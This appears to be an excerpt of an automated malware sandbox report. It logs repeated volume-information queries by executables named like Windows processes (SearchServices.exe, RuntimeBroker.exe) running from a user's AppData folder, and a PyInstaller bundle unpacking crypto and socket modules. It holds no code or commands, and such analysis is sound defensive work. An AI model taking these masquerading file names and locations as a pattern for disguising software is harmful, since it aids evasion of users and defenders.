Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\PublicKey VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Util VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\certifi VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\cryptography-42.0.5.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\cryptography-42.0.5.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\cryptography-42.0.5.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\cryptography-42.0.5.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\cryptography-42.0.5.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\cryptography-42.0.5.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\cryptography-42.0.5.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\setuptools-65.5.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\setuptools-65.5.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\setuptools-65.5.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\setuptools-65.5.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\setuptools-65.5.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\setuptools-65.5.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\zstandard VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Queries volume information: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\ucrtbase.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402 VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402 VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402 VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402 VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\_ctypes.pyd VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402 VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\_bz2.pyd VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402 VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\_lzma.pyd VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402 VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\win32 VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Pythonwin VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\pywin32_system32 VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-console-l1-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-datetime-l1-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-debug-l1-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-errorhandling-l1-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-file-l1-2-0.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-file-l2-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-heap-l1-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-libraryloader-l1-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-localization-l1-2-0.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-processenvironment-l1-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-synch-l1-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-synch-l1-2-0.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-convert-l1-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-math-l1-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-runtime-l1-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\charset_normalizer VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\sqlite3.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\ucrtbase.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\wheel-0.43.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\win32 VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402 VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\win32 VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\win32 VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\win32 VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Pythonwin VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Pythonwin VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Pythonwin VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\pywin32_system32 VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\pywin32_system32 VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\pywin32_system32 VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402 VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\_socket.pyd VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402 VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\select.pyd VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
